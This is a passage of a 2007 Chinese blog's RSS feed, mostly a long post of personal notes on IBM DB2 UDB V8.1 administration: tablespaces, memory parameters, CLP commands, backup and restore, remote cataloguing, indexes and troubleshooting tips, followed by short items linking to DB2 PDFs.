<img src ="http://www.cnitblog.com/szdlinxie/aggbug/32146.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2007-08-21 15:20 <a href="http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32146.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>IBM DB2 日常维护汇总</title><link>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32144.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Tue, 21 Aug 2007 07:14:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32144.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/32144.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32144.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/32144.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/32144.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;1.DB2产品的级别有那些? 　　企业版的NTERPRISEEDITION 　　工作组版WORKGROUPEDITION 　　企业扩展版ENTERPRISEEXTENDEDEDITION 　　个人版的PERSONALEDITION 　　卫星版的SATELLITEEDITION 　　微型版的EVERYPLACE 　　 　　2.可以连接到DB2数据库的产品有哪些? 　　DB2客户端 　...&nbsp;&nbsp;<a href='http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32144.html'>阅读全文</a><img src ="http://www.cnitblog.com/szdlinxie/aggbug/32144.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2007-08-21 15:14 <a href="http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32144.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DB2 UDB V8.1 管理</title><link>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32143.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Tue, 21 Aug 2007 07:12:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32143.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/32143.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32143.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/32143.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/32143.html</trackback:ping><description><![CDATA[<p align=left><a name=1><strong><span></span></strong></a></p>
<p align=left><span><span>工作学习之余对<span>DB2</span>使用知识的一点零散记录，包括<span>DB2</span>的基础知识、数据库管理、性能调优以及开发等方面，内容非常零散，而且有时不免理解有误，可能并未回头改掉，望见谅，仅供参考。</span></span></p>
<p align=left><a name=2><strong><span>DB2 </span></strong></a><span><strong><span>基本概念</span></strong></span></p>
<p align=left><span><span>在<span>DB2</span>中由上至下的几个概念：</span></span></p>
<ul type=disc>
    <li><span><span>实例<span>(Instance), </span></span></span></li>
    <li><span><span>数据库<span>(Database)</span>，</span></span></li>
    <li><span><span>表空间<span>(TableSpace)</span>，</span></span></li>
    <li><span><span>容器<span>(Container)</span></span></span></li>
</ul>
<p align=left><span><span>在一个操作系统中，<span>DB2</span>数据服务可以同时运行多个实例<span>(</span>有别于<span>Oracle</span>在一个系统内只能起一个实例<span>).</span></span></span></p>
<p align=left><span><span>数据库定义在实例中，一个实例可以包含多个数据库。在同一个实例中的不同数据库是完全独立的，分别拥有自己独立的系统编目表。<span><br><br></span>表空间有<span>2</span>种管理方式：</span></span></p>
<ul type=disc>
    <li><span><span>DMS(Database management Space)</span></span><span><span>方式</span></span></li>
    <li><span><span>SMS(System manegement Space)</span></span><span><span>方式</span></span></li>
</ul>
<p align=left><span><span>DMS</span></span><span><span>与<span>SMS</span>方式在表空间建立时指定，建好后不能转换。对于<span>DMS</span>方式，一个表空间对应了一个或多个容器<span>(Container)</span>，容器指定了数据的物理存储位置。对于<span>SMS</span>方式，只能够指定一个目录，不能够增加。</span></span></p>
<p align=left><span><span>表空间具有以下类型：</span></span></p>
<ul type=disc>
    <li><span><span>系统编目表空间<span>(SysCatSpace)</span></span></span></li>
    <li><span><span>系统临时表空间<span>(SysTempSpace)</span></span></span></li>
    <li><span><span>用户表空间<span>(UserSpace)</span></span></span></li>
    <li><span><span>用户临时表空间<span>(UserTempSpace)</span></span></span></li>
</ul>
<p align=left><span><span>一个数据库中必须存在两个系统基本的表空间，分别是系统编目表空间与系统临时表空间。在数据库中创建的任何对象都以在系统编目表空间中增加记录的方式体现，对于临时表空间，其占用磁盘大小是根据使用情况动态伸缩的，即仅在需要时才分配磁盘空间，并在使用后进行回收。此外，若用户需要创建表，则需要创建用户表空间，若需要使用临时表，则需要创建用户临时表空间。<span><br><br><br></span>容器分为三种类型：</span></span></p>
<ul type=disc>
    <li><span><span>Files </span></span><span><span>文件</span></span></li>
    <li><span><span>Devices </span></span><span><span>设备</span></span></li>
    <li><span><span>Directory </span></span><span><span>目录</span></span></li>
</ul>
<p align=left><span><span>文件与设备，用于<span>DMS</span>方式的表空间；</span></span></p>
<p align=left><span><span>目录，用于<span>SMS</span>方式的表空间，此种方式不需要人工管理数据存储文件，<span>DB2</span>可根据情况在目录中自动增加存储文件，只要磁盘空间允许。</span></span></p>
<p align=left><span><span>实质上，表空间是数据存储的逻辑位置定义，容器则是数据存储的物理位置定义。</span></span></p>
<p align=left><a name=3><strong><span>数据库的性能</span></strong></a></p>
<p align=left><span><span>影响一个数据库的性能主要有以下因素：</span></span></p>
<ul type=disc>
    <li><span><span>磁盘<span>(Disk)</span></span></span></li>
    <li><span><span>内存<span>(Memory)</span></span></span></li>
    <li><span><span>处理器<span>(CPU)</span></span></span></li>
    <li><span><span>网络<span>(Network)</span></span></span></li>
</ul>
<p align=left><span><span>其中以磁盘最为显著，<span>90%</span>的性能瓶颈可能来自于磁盘的<span>IO</span>竞争；</span></span></p>
<p align=left><span><span>其次是内存，一方面是指物理内存的总量要满足需求，另一方面是指与内存相关的配置参数应正确配置；</span></span></p>
<p align=left><span><span>当然处理器的性能也很重要，多路<span>CPU</span>会对哪些依赖计算能力的复杂<span>SQL</span>查询起到显著的效果；</span></span></p>
<p align=left><span><span>网络不属于主要因素，属于客观的环境因素，是指过慢的网速会对数据的传输造成影响。以下列出一些对于提高数据库性能有效的方法：</span></span></p>
<ul type=disc>
    <li><span><span>对于运行数据库服务的服务器可以尽可能的配置多块物理磁盘，每块的容量不必太大，这样可以有效的分担数据存储与读取操作过程的磁盘<span>IO</span>竞争。即采用多块小容量的磁盘在性能上要优于仅采用一块大容量的磁盘。</span></span></li>
    <li><span><span>如果条件允许，尽量使数据存储服务与操作系统分别运行在物理分开的磁盘上。</span></span></li>
    <li><span><span>采用<span>DMS(Database Management Space)</span>管理方式的表空间。</span></span></li>
    <li><span><span>在物理不同的磁盘上创建多个表空间。然后可以将数据和索引分别存放在不同的表空间，这样可以显著的提高性能。还可以把一个使用频繁的大表纵向拆成多个小表，分别存放在不同的表空间中，然后用一个视图进行联合。</span></span></li>
    <li><span><span>DB2</span></span><span><span>服务器可以管理裸设备，即除系统以及<span>DB2</span>服务运行磁盘以外，为<span>DB2</span>数据存放单独准备磁盘，可以是多块，分区后不需要格式化，创建裸设备后直接交给<span>DB2</span>进行管理，用于存储数据。</span></span></li>
    <li><span><span>系统的临时表空间对数据库性能影响很大，当由管理的物理内存不能满足数据库操作的需要时，<span>DB2</span>便会把临时数据写到磁盘上，这时便用到了系统临时表空间，并且这种情况会经常发生。</span></span></li>
    <li><span><span>尽量在磁盘靠近最内层磁道的位置安放数据，因为此处磁盘的访问速度较快。</span></span></li>
</ul>
<p align=left><a name=4><strong><span>与性能相关的主要参数</span></strong></a></p>
<p align=left><span><span>DB2</span></span><span><span>的参数配置分为两个级别，一个是实例级别，另一个是数据库级别。对数据服务性能影响较大的参数主要在数据库级别配置。以下是三个比较重要的内存配置参数：</span></span></p>
<p align=left><span><span>bufferpage<br>locklist<br>sortheap</span></span></p>
<ul type=disc>
    <li><span><span>bufferpage: </span></span><span><span>由同一个数据库中的所有对象共享。</span></span></li>
    <li><span><span>sortheap: </span></span><span><span>用于排序的内存交换区，非共享，不宜设置太大，否则，很容易引起内存耗尽，因为每一个事务都会申请独立的内存用于排序。</span></span></li>
    <li><span><span>locklist: </span></span><span><span>共享内存，用于记录数据服务运行中建立的锁。建议设置<span>20Mb</span>左右，需要时根据实际情况进行调整。<span>DB2</span>默认使用行级锁，如果设置太小，当锁的记录太多时，则会导致内存不足，此时<span>DB2</span>会把多个行锁升级为一个表锁，这样就会大大降低应用程序的并发性能。如果设置太大，则多分配的内存很少会被用到，导致浪费。</span></span></li>
</ul>
<p align=left><span><span>其他的一些配置参数：</span></span></p>
<p align=left><span><span>numdb: </span></span><span><span>同时可以启动的实例数目</span></span></p>
<p align=left><a name=5><strong><span>DB2</span></strong></a><span><strong><span>的常用命令</span></strong></span></p>
<p align=left><span><span>db2ilist </span></span><span><span>列出当前系统中定义的<span>DB2</span>实例<span><br>daslist </span>列出系统中的<span>DAS<br>db2 list database directory </span>列出当前实例中定义的数据库<span><br>db2 list tablespaces </span>列出当前数据库中定义的表空间<span><br>db2 list tabses [for all] </span>列出当前数据库中的表<span><br>db2 list active db </span>列出活动的数据库</span></span></p>
<p align=left><span><span>db2 get dbm config<br>get db cfg for databasename<br>db2 update db cfg for databasename using bufferpage <st1:chmetcnv w:st="on" UnitName="m" SourceValue="600" HasSpace="False" Negative="False" NumberType="1" TCSC="0">600M</st1:chmetcnv><br>db2 alter bufferpool IABMDEFAULTBP size =1<br>db2 list applications show detail</span></span></p>
<p align=left><span><span>以上命令可以在后面加<span> " show detail" </span>参数，显示详细信息。<span><br><br>DB2</span>数据存储的页大小只能在表空间级别统一指定<span>(</span>区别于<span>Oracle</span>，可以定义在表级别<span>), </span>并且建好后不能修改。<span><br><br></span>可以手工建立一个页大小为<span>4K</span>的<span>DMS</span>用户临时表空间，然后把系统默认的<span>SMS</span>系统临时表空间删除。为满足应用需求，一般还应再建立一个页大小在<span>8K</span>以上的用户临时表空间。<span><br><br>DB2 UDB V8.1 </span>对<span>RedHat Linux 9 </span>的支持不好，默认情况下无法启动<span>GUI</span>安装程序<span>(</span>可以通过设置环境<span>LD_ASSUME_KERNEL=<st1:chsdate w:st="on" Year="1899" Month="12" Day="30" IsLunarDate="False" IsROCDate="False">2.2.5</st1:chsdate></span>解决<span>)</span>，并且不会安装<span>Sample</span>数据库，控制中心也无法正常启动。</span></span></p>
<p align=left><a name=6><strong><span>DB2 SQL </span></strong></a><span><strong><span>相关</span></strong></span></p>
<p align=left><span><span>当使用<span>COUNT()</span>函数时，如果表中的记录数<span> &gt; 2 147 483 647</span>行，则函数可能返回错误的结果，这时可以使用返回类型为<span>DECIMAL(31, 0)</span>的<span>COUNT_BIG()</span>函数。<span><br><br>DISTINCT </span>关键字可以用在<span>COUNT()</span>函数中，如：</span></span></p>
<p align=left><span><span>SELECT COUNT(DISTINCT id) FROM TABLE</span></span></p>
<p align=left><span><span>这代表将不对<span>id</span>列的重复值进行计数。<span><br><br>ORDER BY</span>子句后面如果写了多个列名，需要分别指定升序或是降序。<span><br><br></span>可以在<span>load</span>大量数据时，暂时关闭表的日志选项。使用：</span></span></p>
<p align=left><span><span>ALTER TABLE ... ACTIVATE NOT LOGGED INITIALLY</span></span></p>
<p align=left><span><span>DB2</span></span><span><span>的几个特殊寄存器：</span></span></p>
<p align=left><span><span>CURRENT DATE<br>CURRENT TIME<br>CURRENT TIMESTAMP<br>USER(</span></span><span><span>用户<span>ID)</span></span></span></p>
<p align=left><span><span>有关日期的操作：</span></span></p>
<p align=left><span><span>CURRENT TIMESTAMP + 2 DAYS(or HOURS, SECONDS, MONTHS, YEARS, etc.)</span></span></p>
<p align=left><span><span>case </span></span><span><span>语句的使用：</span></span></p>
<p align=left><span><span>case when </span></span><span><span>条件一<span> then </span>动作一<span> else </span>动作二<span> end; </span></span></span></p>
<p align=left><span><span>以上可以欠套使用。</span></span></p>
<p align=left><span><span>在视图的创建语句中无法使用<span>order by </span>子句与<span> fetch n rows </span>子句。但对于<span>order by</span>可以用如下方法替代实现，不过会影响效率。</span></span></p>
<p align=left><span><span>create view v_name1(c1, c2, c3) as<br>select * from (<br>select column1, column2, column3<br>from t1<br>order by column1 ) as t1;</span></span></p>
<p align=left><span>表空间类型分为<span>SMS</span>和<span>DMS</span>，分别是<span>system management space, database management space. SMS</span>使用方便，简单，无需手工创建和维护数据存储文件。<span>DMS</span>需要手动指定<span>container</span>和存储数据的文件名，并保证有足够磁盘空间可用。<span><br></span>对于一个数据库，至少存在一个<span>page size</span>为<span>4K</span>的系统临时表空间，可以额外建立具有更大<span>page size</span>的用户临时表空间，系统会自动进行使用。<span><br><br></span>无法用<span>alter</span>语句更改一个字段的数据类型，对某些字段可以更改数据长度，这一点上相对于<span>Oracle</span>，<span>DB2</span>的限制要多一些。<span><br></span>可以使用<span>: select </span>表达式<span> from sysibm.sysdummy; </span>替代的，以下语句是等价的：<span>values </span>表达式；<span><br><br><br></span>表和视图的创建、更新、删除操作，都写日志，因此可以<span>commit</span>或<span>rollback</span>。<span><br><br></span>在<span>update</span>语句中，如果没有对定义了默认值的某个字段显式赋值，则更新时，此字段不会重新执行默认值中定义的表达式。为了让其重新执行默认值定义的表达式，可以采用以下方式：</span></p>
<p align=left><span>create table t1 (c1 varchar(32), lastupdatetime with default current timpstamp);<br>update t1 set c1 = 'new string', lastupdatetime = default;</span></p>
<p align=left><span>对于<span>DB2</span>数据库可以在创建时指定<span>codepage</span>参数，创建后不可修改。当应用程序访问数据库时，<span>DB2</span>会比较两者的<span>codepage</span>是否一致，不一致则进行代码页的自动转换。为了减少转换所带来的开销，应尽量保证应用程序所采用的代码页与数据库一致。<span><br><br></span>可以对<span>DB2 CLP</span>工具的<span>codepage</span>进行设置，使用：</span></p>
<p align=left><span>$ db2set DB2CODEPAGE= 1386</span></p>
<p align=left><span>本例中设置的是中文<span>GBK</span>字符集在<span>Windows</span>平台对应的值。注意，这个数字值是由<span>DB2</span>自己定义的。有关各种字符集在相应平台所对应的代码页值可在<span>IBM</span>网站查找。<span><br><br></span>在<span>DB2 CLP</span>中，对远程数据库编目的操作，首先把远程主机映射为本地节点，节点名自己指定，本例采用<span>TCPIP</span>连接。<span>service_name</span>一般定义在远程主机的<span>/etc/services</span>文件中。</span></p>
<p align=left><span>$ db2 CATALOG TCPIP NODE local_node_name REMOTE hostname|ip SERVER service_name </span></p>
<p align=left><span>然后把已知的远程主机的数据库映射到本地别名，注意本地别名在主机级别不能重复。节点名指定上面刚编目的节点。</span></p>
<p align=left><span>$ db2 CATALOG DATABASE db_name AS local_alias AT local_node_name USER username USING password </span></p>
<p align=left><span>现在就可以用刚才编目中定义的别名连接远程主机数据库</span></p>
<p align=left><span>$ db2 CONNECT TO local_alias USER username USING password</span></p>
<p align=left><span>获取数据库详细配置信息</span></p>
<p align=left><span>$ db2 GET CONFIGURATION SHOW DETAIL </span></p>
<p align=left><span>对于<span>DB2</span>返回的错误号，可以用以下方法查阅说明<span>(</span>以<span>sql 10008</span>为例<span>)</span>：</span></p>
<p align=left><span>$ db2 ? sql10008</span></p>
<p align=left><span>数据库的备份与恢复：<span><br><br></span>使用备份与恢复工具可以完成在不同的服务器见完整的转移数据库的工作，命令行方式如下：<span><br><br></span>备份</span></p>
<p align=left><span>$ db2 BACKUP DATABASE db_name USER user_name USING password to backup_dir_name<br>$ db2 BACKUP DATABASE dlhdb USER dlh USING admindlh TO d:\backups</span></p>
<p align=left><span>恢复</span></p>
<p align=left><span>$ db2 RESTORE DATABASE source_db_name USER user_name USING password FROM backup_dir_name TAKEN AT backup_file_create_time TO driver_letter INTO new_db_name<br>$ db2 RESTORE DATABASE dlhdb USER dlh USING admindlh FROM d:\backups TAKEN AT 20031209141056 TO d: INTO newdb</span></p>
<p align=left><span>有关实例的操作：</span></p>
<p align=left><span>设置默认实例环境变量</span></p>
<p align=left><span>$ db2 SET DB2INSTANCE=inst_name</span></p>
<p align=left><span>启动当前实例</span></p>
<p align=left><span>$ db2start</span></p>
<p align=left><span>停止当前实例</span></p>
<p align=left><span>$ db2stop [force]</span></p>
<p align=left><span>连接到某个实例</span></p>
<p align=left><span>$ db2 ATTACH TO ANSTANCE inst_name</span></p>
<p align=left><span>获取实例的配置参数</span></p>
<p align=left><span>$ db2 GET DBM CFG SHOW DETAIL</span></p>
<p align=left><span>导出数据库完整的定义到脚本文件，包括表，视图，函数，数据库参数等</span></p>
<p align=left><span>$ db2look -d sample</span><span>（数据库）<span> -a -e -l -x -m -f -o</span>（参数）<span>samplesql.out</span>（输出文件）</span></p>
<p align=left><span>load </span><span>一个表的数据时，有可能导致表空间处于<span>backup pending</span>（<span>0x0020</span>）状态。比如把整形数据<span>load</span>到<span>double</span>型的字段中。<span><br></span>处于<span>backup pending</span>状态的表空间不能被访问。<span><br></span>可以通过对此表空间运行一次<span>backup</span>操作，恢复到正常状态（<span>0x0</span>）。<span><br><br></span>对于自增字段，可以通过两种方式指定：</span></p>
<p align=left><span>generated by default as identity<br>generated always as identity</span></p>
<p align=left><span>区别是，第一种方式在插入数据时允许手工指定自增字段的值，只要不重复即可，并且数据库会自动设置下一个值；<span><br></span>第二种方式则不允许指定，只能由数据库自动分配并插入。<span><br><br><br>DB2 sql</span>语句中转义符的使用：</span></p>
<p align=left><span>select * from t1 where a like '%abc\%def' escape '\';</span></p>
<p align=left><span>创建数据库时，出现<span>SQL<st1:chmetcnv w:st="on" UnitName="C" SourceValue="1043" HasSpace="False" Negative="False" NumberType="1" TCSC="0">1043C</st1:chmetcnv></span>错误，可能的问题：<span><br></span>指定容器所在的磁盘空间不足，<span><br></span>当容器为<span>file</span>类型时，后面的<span>long-num</span>参数不对，比如<span>25600</span>代表<span>256Mb</span>，但如果指定<span>256</span>则会导致以上错误。<span><br><br><br></span>平台<span> RH Linux 8<br>DB2 UDB v8.1<br></span>在<span>WAS 5</span>中建立到<span>db2</span>的数据源，但连接失败，返回以下错误：</span></p>
<p align=left><span>[Servlet Error]-[SQLConnect]: java.lang.UnsatisfiedLinkError: SQLConnect</span></p>
<p align=left><span>原因是没有为运行<span>was</span>服务的用户设置以下环境变量：</span></p>
<p align=left><span>D_LIBRARY_PATH<br>LIBPATH<br>DB2INSTANCE<br>...</span></p>
<p align=left><span>以上环境变量定义在<span> $INSTHOME/sqllib/db2profile</span>文件中，可以采用的解决方案：</span></p>
<p align=left><span>$ sh stopServer.sh servername<br><br>$ . $INSTHOME/sqllib/db2profile<br>$ sh startServer.sh servername</span></p>
<p align=left><span>也可以把<span>db2profile</span>放到<span>was</span>启动脚本中首先执行。<span><br><br></span>如果只设置了<span>LD_LIBRARY_PATH</span>，<span>LIBPATH</span>两个环境变量，<span>DB2</span>会返回以下错误：</span></p>
<p align=left><span>CLI0600E Invalid connection handle or connection is closed.<br>SQLSTATE S1000</span></p>
<p align=left><span>对应于<span>Oracle</span>的<span>Job</span>包功能，<span>DB2</span>通过一个<span>GUI</span>工具－任务中心（<span>task center</span>）实现。使用任务中心前需要进行必要的工具设置，需要创建一些数据库对象，可以创建在已有的一个数据库中，也可以单独创建一个数据库。通过以下命令实现：</span></p>
<p align=left><span>create catalog tools schema_name create new database db_name</span></p>
<p align=left><span>此命令为编目工具创建一个名为<span>db_name </span>的数据库，并指定了一个模式名。<span><br></span>注意：无法用<span>using </span>子句指定一个<span>codeset</span>，系统会默认使用<span>ISO8859-1</span>字符集。<span><br><br><br>Quest Center for DB2</span>带有数据库性能诊断功能，动态监视<span>db</span>内存，磁盘<span>io, </span>表空间，负载等等。<span><br><br>DB2</span>客户端的类型：</span></p>
<ul type=disc>
    <li><span>DB2</span><span>运行时客户端<span> DB2 Runtime Client</span></span></li>
    <li><span>DB2</span><span>管理客户端<span> DB2 Administrator Client</span>（包含运行时客户端的所有内容）</span></li>
    <li><span>DB2</span><span>应用程序开发客户端<span> DB2 Application Development Client</span>（包含管理客户端的所有内容）</span></li>
    <li><span>DB2</span><span>瘦客户端<span> DB2 Thin Client</span></span></li>
    <li><span>DB2 Relational Connect </span><span>联邦数据库，用于连接异种数据库。</span></li>
</ul>
<p align=left><span>强制断开已有连接，停止实例并删除。</span></p>
<p align=left><span>$ db2idrop -f instance_name </span></p>
<p align=left><span>用于在<span>UNIX</span>下迁移实例。</span></p>
<p align=left><span>$ db2imigr instance_name </span></p>
<p align=left><span>更新实例，用于实例获得一些新的产品选项或修订包的访问权。</span></p>
<p align=left><span>$ db2iupdt instance_name </span></p>
<p align=left><span>获取当前所处的实例。</span></p>
<p align=left><span>$ db2 get instance </span></p>
<p align=left><span>当更新实例级别或数据库级别的参数后，有些可以立即生效，有些需要重新启动实例才可生效。<span>immediate </span>显式指明更改立即生效，<span>deferred </span>显式指明更改在重起实例后生效。<span><br><br></span>当需要配置许多台客户机与<span>DB2</span>服务器的连接时，可以用配置助手将服务器的概要文件导出，然后在每个客户机使用配置助手导入概要文件。若客户端只安装了运行时客户端，则可以使用以下命令导入概要文件。</span></p>
<p align=left><span>$ db2cfimp access_profile_name</span></p>
<p align=left><span>疑问：是否应该由已配置好的一台客户机导出概要文件？</span></p>
<p align=left><span>列出所有的数据库连接</span></p>
<p align=left><span>$ db2 list applications </span></p>
<p align=left><span>终止指定的连接句柄，事务被中断并回滚。同时操作多个句柄可以用逗号分开，或者指定关键字<span> all</span>。此命令只终止指定的连接，不会阻止新的应用连接到数据库。</span></p>
<p align=left><span>$ db2 force application (2) </span></p>
<p align=left><span>创建数据库时可以指定排序方式：</span></p>
<p align=left><span>collate using identity</span></p>
<p align=left><span>系统模式集是和每个数据库一起创建的，并且它们被放置到<span> SYSCATSPACE </span>表空间中。</span></p>
<ul type=disc>
    <li><span>SYSIBM</span><span>：基本系统目录，建议不要进行直接访问</span></li>
    <li><span>SYSCAT</span><span>：<span>PUBLIC </span>被授予该模式的<span> SELECT </span>权限，对只读视图编目，这是获取目录信息的推荐方式</span></li>
    <li><span>SYSSTAT</span><span>：可更新的目录视图 － 影响优化器</span></li>
    <li><span>SYSFUN</span><span>：用户定义的函数</span></li>
</ul>
<p align=left><span>如果表中的现有行不满足约束，则不能定义该约束。可以关闭约束检查以加快大量数据的添加，但是该表处于检查暂挂（<span>CHECK PENDING</span>）状态。<span><br><br></span>在创建表时，可以使用选项来指定一个或多个表空间，表和索引将被放置到其中：</span></p>
<p align=left><span>CREATE TABLE TEST (<br>column 1 definition, column 2 definition, ...<br>) IN &lt;tablespace name&gt; INDEX IN &lt;index space name&gt;</span></p>
<p align=left><span>这条命令为您提供了一个选项：指定创建表和索引的位置。如果没有指定单独的索引表空间，那么将在表所在的同一表空间中创建索引。创建表之后，就没有机会在不同的表空间中创建索引了。创建索引要提前作规划！</span></p>
<p align=left><span>CREATE &lt;UNIQUE&gt; INDEX &lt;index name&gt; ON &lt;table name&gt;<br>(<br>column 1 &lt;ASC | DESC&gt; ,<br>column 2 &lt;ASC | DESC&gt; ...<br>)</span></p>
<p align=left><span>UNIQUE </span><span>属性告诉<span> DB2</span>，索引必须强制所有插入值的唯一性。<span><br></span>如果结果集是以升序和降序两种方式排序的，<span>ALLOW REVERSE SCANS </span>会告诉<span> DB2 </span>在索引中包括附加的指针，以允许在记录中有效地进行正向和反向链接。<span><br><br>DB2 </span>能够向正在创建的索引中添加另外的列。<span>CREATE INDEX </span>命令允许用户指定那些不属于实际索引但因为性能原因而保存在索引记录中的列。</span></p>
<p align=left><span>CREATE UNIQUE INDEX ON EMPLOYEE (EMPNO) INCLUDE (LASTNAME,FIRSTNAME)</span></p>
<p align=left><span>对于索引中包含的列而言，索引必须是<span> UNIQUE </span>的。当创建索引时，另外的列被添加到索引值中。索引不使用这些值进行排序或确定唯一性，但可以在满足<span> SQL </span>查询时使用它们。例如，下列<span> SELECT </span>语句将不需要读取实际数据行：</span></p>
<p align=left><span>SELECT LASTNAME, FIRSTNAME FROM EMPLOYEE WHERE EMPNO &lt; '000300'</span></p>
<p align=left><span>要在表上创建群集索引，将<span> CLUSTER </span>关键字附加到<span> CREATE INDEX </span>命令的末尾，例如：</span></p>
<p align=left><span>CREATE INDEX <st1:place w:st="on"><st1:city w:st="on">DEPTS-IX</st1:city> <st1:state w:st="on">ON</st1:state></st1:place> EMPLOYEE(WORKDEPT) CLUSTER</span></p>
<p align=left><span>使用下列通用规则来决定为表定义的索引的经典数量。索引数量取决于数据库的主要用途：<span><br></span>对于在线事务处理（<span>OLTP</span>）环境，创建一到两个索引。<span><br></span>对于混合查询和<span> OLTP </span>环境，创建两到五个索引。<span><br></span>对于只读查询环境，创建五个以上索引。<span><br><br></span>在<span>Windows</span>平台上的<span>DB2</span>的命令行模式下，或者在类<span>Unix</span>平台下，使用命令<span>db2cc</span>启动控制中心。<span><br><br>db2move</span>提供了在数据库之间批量移动数据的能力，可以指定某个表，也可以指定整个数据库的表。</span></p>
<p align=left><span>$ db2move dbname action</span></p>
<p align=left><span>action </span><span>可以指定为：<span>export, import</span>或者<span>load<br></span>使用<span> -l </span>参数指定<span>lob</span>对象存储的文件夹<span><br><br></span>执行增量备份要求设置数据库配置参数<span>&#8220;trackmod&#8221;</span>的值为<span>&#8220;YES&#8221;<br></span>执行在线备份要求设置数据库配置参数<span>&#8220;logretain&#8221;</span>的值为<span>&#8220;YES&#8221;</span>，在线备份语法：</span></p>
<p align=left><span>$ db2 backup db dbname online to path</span></p>
<p align=left><span>当删除了<span>das</span>用户的<span>home</span>目录，未先<span>drop</span>掉<span>das</span>服务，则再执行<span>dasdrop</span>则不成功，提示：<span><br>db2admin </span>命令无法找到，原因是<span>db2admin</span>命令保存在<span>das</span>的<span>home</span>目录中。<span><br></span>可以删除干净<span>das</span>用户的<span>home</span>目录后，重起服务器解决此问题。</span></p>
<p align=left><span>$ dasupdt dasName </span><span>升级<span>das<br>$ db2iupdt instName </span>升级实例<span><br>$ db2licd end </span>停止许可证守护进程</span></p>
<p align=left><span>在<span>Linux</span>系统安装<span>DB2 V8.1</span>后，<span>db2fmcd</span>进程会自动启动，即使不启动实例和<span>DAS</span>，<span><br><br></span>在中文<span>Linux</span>环境下安装了<span>DB2</span>数据库服务，并使用<span>GBK</span>代码页（<span>codepage</span>）创建了一个数据库，完成后可以正常连接操作，若更改操作系统代码页为英语，则使用<span>&#8220;db2 connect&#8221;</span>时会报错，连接时无法转换代码页。</span></p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/32143.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2007-08-21 15:12 <a href="http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32143.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>db2个人版快速入门</title><link>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32127.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Mon, 20 Aug 2007 16:47:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32127.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/32127.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32127.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/32127.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/32127.html</trackback:ping><description><![CDATA[<a href="http://www.cnitblog.com/Files/szdlinxie/db2AA.pdf">/Files/szdlinxie/db2AA.pdf</a>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/32127.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2007-08-21 00:47 <a href="http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32127.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>db2安装配置补遗</title><link>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32125.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Mon, 20 Aug 2007 16:44:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32125.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/32125.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32125.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/32125.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/32125.html</trackback:ping><description><![CDATA[<a href="http://www.cnitblog.com/Files/szdlinxie/db2C.pdf">/Files/szdlinxie/db2C.pdf</a>
